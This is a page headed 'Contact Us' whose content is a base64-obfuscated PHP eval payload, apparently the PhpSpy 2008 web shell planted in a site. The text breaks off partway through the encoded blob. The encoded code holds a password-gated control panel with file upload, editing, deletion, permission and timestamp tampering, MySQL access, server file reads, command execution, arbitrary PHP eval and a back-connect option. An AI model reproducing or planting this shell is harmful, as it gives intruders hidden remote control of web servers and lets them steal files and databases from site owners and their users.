Contact Us
eval(base64_decode('CmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3Rh
cnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRt
dGltZVsxXSArICRtdGltZVswXTsKZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywg
Jy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsKLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQ
SFBfT1MsICdXSU4nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFS
QVRPUiA9PSAnXFwnKTsKZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6
IDAgKTsKZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsKJGRpc19mdW5j
ID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmRlZmluZSgnSVNfUEhQSU5GTycs
ICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsKQHNldF90aW1lX2xpbWl0
KDApOwoKZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7Cglmb3Jl
YWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgewoJCWlmICgkX2tleXswfSAhPSAn
XycpIHsKCQkJaWYgKElTX0dQQykgewoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7CgkJ
CX0KCQkJJCRfa2V5ID0gJF92YWx1ZTsKCQl9Cgl9Cn0KCi8qPT09PT09PT09PT09PT09PT09PT09
IHx8LSYjMTAyODsrJiMxMDkyOyt8ID09PT09PT09PT09PT09PT09PT09PSovCiRhZG1pbiA9IGFy
cmF5KCk7Ci8vIC18KyYjMTEwNTstJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYj
MTA3NjssIHRydWUgKyYjMTA4MjstJiMxMDk2Oy0mIzEwODI7LSYjMTA5NzsrJiMxMDc2OywgZmFs
c2UgKyYjMTA4MjsrIysrKyArJiMxMDk5Oy4tLXwmIzEwOTQ7LSYjMTA3MzstJiMxMTAyOysmIzEw
Mjg7K3wtJiMxMDc5OwokYWRtaW5bJ2NoZWNrJ10gPSAwOwovLyArJiMxMDk1O3wgLSYjMTA5Njst
JiMxMDgyO3wjLSYjMTA5OTstJiMxMDk3OysmIzEwNzY7LHwmIzEwOTk7LXwrLXx8LSt8Iy0mIzEw
OTk7CiRhZG1pblsncGFzcyddICA9ICdhbmdlbCc7CgovLysmIzEwOTU7LSB8KyBjb29raWUgKyYj
MTExODsrfCt8KyYjMTA3OTsrLXwrLSYjMTA5MDstJiMxMDgyO3wmIzExMDg7LCArJiMxMDI4O3x8
LSsjKysgfCYjMTA3NTssIHwmIzEwOTk7LXwrLS0tfCYjMTA5NDsjJiMxMDkyOy0rLCArJiMxMTA1
OysmIzEwMjg7fCYjMTA5OTsjJiMxMDc1O3wrLSYjMTA4NDsrLQovLyBjb29raWUgfCMrfAokYWRt
aW5bJ2Nvb2tpZXByZSddID0gJyc7Ci8vIGNvb2tpZSArJiMxMTE4Oyt8KyYjMTAyODsKJGFkbWlu
Wydjb29raWVkb21haW4nXSA9ICcnOwovLyBjb29raWUgKyYjMTExODsrfC0rK3wKJGFkbWluWydj
b29raWVwYXRoJ10gPSAnLyc7Ci8vIGNvb2tpZSArLS0mIzEwNzk7fCsKJGFkbWluWydjb29raWVs
aWZlJ10gPSA4NjQwMDsKLyo9PT09PT09PT09PT09PT09PT09PT0gKyYjMTA5MjsrfCsmIzEwODk7
LSAgPT09PT09PT09PT09PT09PT09PT09Ki8KCmlmICgkY2hhcnNldCA9PSAndXRmOCcpIHsKCWhl
YWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsKfSBlbHNlaWYg
KCRjaGFyc2V0ID09ICdiaWc1JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsg
Y2hhcnNldD1iaWc1Iik7Cn0gZWxzZWlmICgkY2hhcnNldCA9PSAnZ2JrJykgewoJaGVhZGVyKCJj
b250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsKfSBlbHNlaWYgKCRjaGFyc2V0
ID09ICdsYXRpbjEnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0
PWlzby04ODU5LTIiKTsKfQoKJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVS
WydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107CiR0aW1lc3RhbXAgPSB0aW1l
KCk7CgovKj09PT09PT09PT09PT09PT09PT09PSArJiMxMTAxOyt8LSYjMTA5NzsrJiMxMDc2OyA9
PT09PT09PT09PT09PT09PT09PT0qLwppZiAoJGFjdGlvbiA9PSAibG9nb3V0IikgewoJc2Nvb2tp
ZSgncGhwc3B5cGFzcycsICcnLCAtODY0MDAgKiAzNjUpOwoJcCgnPG1ldGEgaHR0cC1lcXVpdj0i
cmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4nKTsKCXAoJzxhIHN0eWxlPSJmb250
OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOwoJZXhpdDsKfQpp
ZigkYWRtaW5bJ2NoZWNrJ10pIHsKCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgewoJCWlmICgkYWRt
aW5bJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsKCQkJc2Nvb2tpZSgncGhwc3B5cGFzcycsICRwYXNz
d29yZCk7CgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScu
JHNlbGYuJyI+Jyk7CgkJCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4k
c2VsZi4nIj5TdWNjZXNzPC9hPicpOwoJCQlleGl0OwoJCX0KCX0KCWlmICgkX0NPT0tJRVsncGhw
c3B5cGFzcyddKSB7CgkJaWYgKCRfQ09PS0lFWydwaHBzcHlwYXNzJ10gIT0gJGFkbWluWydwYXNz
J10pIHsKCQkJbG9naW5wYWdlKCk7CgkJfQoJfSBlbHNlIHsKCQlsb2dpbnBhZ2UoKTsKCX0KfQov
Kj09PT09PT09PT09PT09PT09PT09PSAtJiMxMDk3OysmIzEwNzY7KyYjMTA4OTstICA9PT09PT09
PT09PT09PT09PT09PT0qLwoKJGVycm1zZyA9ICcnOwoKLy8gIyYjMTA5NzsrfFBIUElORk8KaWYg
KCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7CglpZiAoSVNfUEhQSU5GTykgewoJCXBocGluZm8oKTsK
CX0gZWxzZSB7CgkJJGVycm1zZyA9ICdwaHBpbmZvKCkgZnVuY3Rpb24gaGFzIG5vbi1wZXJtaXNz
aWJsZSc7Cgl9Cn0KCi8vIC0tKysrLSsgCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhl
ZmlsZSkgewoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7CgkJJGVycm1zZyA9ICdUaGUg
ZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCX0gZWxzZSB7CgkJ
JGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOwoJCWhlYWRlcignQ29udGVudC10eXBlOiBh
cHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJaGVhZGVyKCdDb250ZW50
LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUn
XSk7CgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOwoJCUBy
ZWFkZmlsZSgkdGhlZmlsZSk7CgkJZXhpdDsKCX0KfQoKLy8gKyMrKy0tKysjKyt8LSArfCsmIzEw
OTA7CmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsKCWRiY29u
bigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7
CgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7CgkkcmVzdWx0ID0gcSgiU0hPVyB0YWJsZXMi
KTsKCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKCSRmaWxl
bmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOwoJaGVh
ZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsKCWhlYWRlcignQ29udGVu
dC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOwoJJG15c3Fs
ZGF0YSA9ICcnOwoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkg
ewoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7CgkJCSRteXNxbGRhdGEgLj0gc3Fs
ZHVtcHRhYmxlKCRjdXJyb3dbMF0pOwoJCX0KCX0KCW15c3FsX2Nsb3NlKCk7CglleGl0Owp9Cgov
LyAtJiMxMDgwO3wgTVlTUUwtLSsrKy0rIAppZigkZG9pbmc9PSdteXNxbGRvd24nKXsKCWlmICgh
JGRibmFtZSkgewoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7Cgl9IGVsc2UgewoJ
CWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRi
cG9ydCk7CgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7CgkJCSRlcnJtc2cgPSAn
VGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7CgkJfSBlbHNl
IHsKCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOwoJ
CQlpZighJHJlc3VsdCl7CgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7
CgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxM
KTsiKTsKCQkJCS8vK3wtIysmIzEwOTI7fC0rfCMmIzExMDE7LSsrK3wtLCMjfCYjMTA5MDt8JiMx
MDM4Oy0rfC0rJiMxMDczOysrKyYjMTEwMTsrJiMxMDI4OyMgfCYjMTA4NDtfX2FuZ2VsXzExMTEx
MTExMTFfZW9mX198LSstKyAtIyMrLSYjMTA5ODsrIHwtfCYjMTA5NzsrJiMxMDM4OwoJCQkJcSgi
TE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi5hZGRzbGFzaGVzKCRteXNxbGRsZmlsZSkuIicgSU5U
TyBUQUJMRSB0bXBfYW5nZWwgRklFTERTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3Rh
bXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0
aW1lc3RhbXB9X2VvZl9fJzsiKTsKCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9t
IHRtcF9hbmdlbCIpOwoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsKCQkJfQoJCQkkcm93
ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCQlpZiAoISRyb3cpIHsKCQkJCSRlcnJt
c2cgPSAnTG9hZCBmaWxlIGZhaWxlZCAnLm15c3FsX2Vycm9yKCk7CgkJCX0gZWxzZSB7CgkJCQkk
ZmlsZWluZm8gPSBwYXRoaW5mbygkbXlzcWxkbGZpbGUpOwoJCQkJaGVhZGVyKCdDb250ZW50LXR5
cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQkJCWhlYWRlcign
Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jh
c2VuYW1lJ10pOwoJCQkJaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiLnN0cmxlbigkcm93WzBdKSk7
CgkJCQllY2hvICRyb3dbMF07CgkJCQlleGl0OwoJCQl9CgkJfQoJfQp9Cgo/Pgo8aHRtbD4KPGhl
YWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBj
aGFyc2V0PWdiayI+Cjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAu
Uy5wLnknKTs/PjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHksdGR7Zm9udDog
MTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fQouaW5wdXR7Zm9udDoxMnB4IEFy
aWFsLFRhaG9tYTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5n
OjJweDtoZWlnaHQ6MjJweDt9Ci5hcmVhe2ZvbnQ6MTJweCAnQ291cmllciBOZXcnLCBNb25vc3Bh
Y2U7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7fQou
YnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZm
O2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fQphIHtjb2xvcjogIzAwZjt0ZXh0
LWRlY29yYXRpb246dW5kZXJsaW5lO30KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRp
b246bm9uZTt9Ci5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRv
bToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHgg
NXB4O30KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFw
eCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7
fQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBz
b2xpZCAjZGRkO2JhY2tncm91bmQ6I2ZmZmZhYTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQou
aGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlk
ICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdl
aWdodDpib2xkO30KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQpmb3Jte21hcmdp
bjowO3BhZGRpbmc6MDt9Cmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhl
aWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQp1bC5pbmZvIGxpe21hcmdp
bjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9CnV7dGV4dC1kZWNv
cmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1
MHB4O21hcmdpbi1yaWdodDoxMHB4O30KPC9zdHlsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFz
Y3JpcHQiPgpmdW5jdGlvbiBDaGVja0FsbChmb3JtKSB7Cglmb3IodmFyIGk9MDtpPGZvcm0uZWxl
bWVudHMubGVuZ3RoO2krKykgewoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsKCQlpZiAoZS5u
YW1lICE9ICdjaGthbGwnKQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7CiAgICB9
Cn0KZnVuY3Rpb24gJChpZCkgewoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsK
fQpmdW5jdGlvbiBnb2FjdGlvbihhY3QpewoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0
OwoJJCgnZ29hY3Rpb24nKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keSBzdHls
ZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+Cjx0
YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9
IjAiPgoJPHRyIGNsYXNzPSJoZWFkIj4KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+
PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hv
IHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PiBWZXI6IDIwMDg8L2E+PC9zcGFu
Pjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3Ri
eW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+Cgk8L3RyPgoJPHRyIGNsYXNz
PSJhbHQxIj4KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhw
IGVjaG8gZ2V0Y2ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4KCQkJPGEgaHJlZj0iamF2YXNjcmlw
dDpnb2FjdGlvbignbG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlw
dDpnb2FjdGlvbignZmlsZScpOyI+RmlsZSBNYW5hZ2VyPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFz
Y3JpcHQ6Z29hY3Rpb24oJ3NxbGFkbWluJyk7Ij5NeVNRTCBNYW5hZ2VyPC9hPiB8CgkJCTxhIGhy
ZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBE
b3dubG9hZDwvYT4gfAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzaGVsbCcpOyI+
RXhlY3V0ZSBDb21tYW5kPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3Bo
cGVudicpOyI+UEhQIFZhcmlhYmxlPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rp
b24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4g
fCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25u
ZWN0PC9hPjw/cGhwIH0/PgoJCTwvdGQ+Cgk8L3RyPgo8L3RhYmxlPgo8dGFibGUgd2lkdGg9IjEw
MCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4K
PD9waHAKCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dvYWN0aW9uJykpOwptYWtlaGlkZSgnYWN0
aW9uJyk7CmZvcm1mb290KCk7CgokZXJybXNnICYmIG0oJGVycm1zZyk7CgovLyArJiMxMTA1Oysm
IzEwNzM7fCN8Iy0rK3wKISRkaXIgJiYgJGRpciA9ICcuJzsKJG5vd3BhdGggPSBnZXRQYXRoKFNB
X1JPT1QsICRkaXIpOwppZiAoc3Vic3RyKCRkaXIsIC0xKSAhPSAnLycpIHsKCSRkaXIgPSAkZGly
LicvJzsKfQokdWVkaXIgPSB1ZSgkZGlyKTsKCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdm
aWxlJykgewoKCS8vICstfC18LS18fCYjMTA5NzsrJiMxMDM4OwoJJGRpcl93cml0ZWFibGUgPSBA
aXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8v
ICsrfCAtKy0rCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7CgkJaWYgKCFm
aWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5v
dCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oJ0RpcmVjdG9yeSBkZWxldGUgJy4oZGVsdHJlZSgk
dGhlZmlsZSkgPyBiYXNlbmFtZSgkdGhlZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJ
fQoJfQoKCS8vIHx8KyYjMTA4MDstKy0rCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7CgkJJG1rZGly
cyA9ICRub3dwYXRoLiRuZXdkaXJuYW1lOwoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgewoJ
CQltKCdEaXJlY3RvcnkgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCW0oJ0Rp
cmVjdG9yeSBjcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2Zh
aWxlZCcpKTsKCQkJQGNobW9kKCRta2RpcnMsMDc3Nyk7CgkJfQoJfQoKCS8vICstfCYjMTA4Mzsr
LSsgCgllbHNlaWYgKCRkb3VwZmlsZSkgewoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklM
RVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxv
YWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJfQoKCS8vICMmIzEw
ODg7KyYjMTA4NTsrLSsgCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7
CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsKCQltKCdTYXZlIGZpbGUgJy4oQGZ3
cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJQGZjbG9z
ZSgkZnApOwoJfQoKCS8vICMmIzEwODg7KyYjMTA4NTsrLSsgLSYjMTAzMTstKwoJZWxzZWlmICgk
cGZpbGUgJiYgJG5ld3Blcm0pIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsKCQkJbSgn
VGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkbmV3cGVy
bSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsKCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmli
dXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7
CgkJfQoJfQoKCS8vICstfCAKCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7CgkJ
JG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOwoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUp
IHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsKCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBl
eGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQlt
KGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1l
KCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8g
K3wrfCstKyAKCWVsc2VpZiAoJHNuYW1lICYmICR0b2ZpbGUpIHsKCQlpZiAoZmlsZV9leGlzdHMo
JHRvZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsKCQkJbSgnVGhlIGdvYWwgZmlsZSBo
YXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9
IGVsc2UgewoJCQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwk
dG9maWxlKSA/IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0K
CX0KCgkvLyArLS0mIzEwNzM7LSMrJiMxMDkyOwoJZWxzZWlmICgkY3VyZmlsZSAmJiAkdGFyZmls
ZSkgewoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJm
aWxlKSkgewoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2lu
YWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCSR0aW1lID0gQGZpbGVtdGlt
ZSgkdGFyZmlsZSk7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3Vj
aCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0K
CgkvLyArK3wmIzEwODA7LSYjMTA5MzstIysmIzEwOTI7CgllbHNlaWYgKCRjdXJmaWxlICYmICR5
ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgewoJ
CWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgewoJCQltKGJhc2VuYW1lKCRjdXJmaWxlKS4n
IGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFy
LSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOwoJCQltKCdNb2RpZnkgZmlsZSB0
aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nl
c3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gfCYjMTAyODsjIC0tKysKCWVsc2VpZigkZG9p
bmcgPT0gJ2Rvd25yYXInKSB7CgkJaWYgKCRkbCkgewoJCQkkZGZpbGVzPScnOwoJCQlmb3JlYWNo
ICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJJGRmaWxlcy49JGZpbGVwYXRoLics
JzsKCQkJfQoJCQkkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOwoJ
CQkkZGw9ZXhwbG9kZSgnLCcsJGRmaWxlcyk7CgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOwoJCQkk
Y29kZT0kemlwLT5vdXQ7CgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3Rl
dC1zdHJlYW0nKTsKCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOwoJCQloZWFkZXIo
J0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7CgkJCWhlYWRlcignQ29udGVudC1EaXNw
b3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX0Zp
bGVzLnRhci5neicpOwoJCQllY2hvICRjb2RlOwoJCQlleGl0OwoJCX0gZWxzZSB7CgkJCW0oJ1Bs
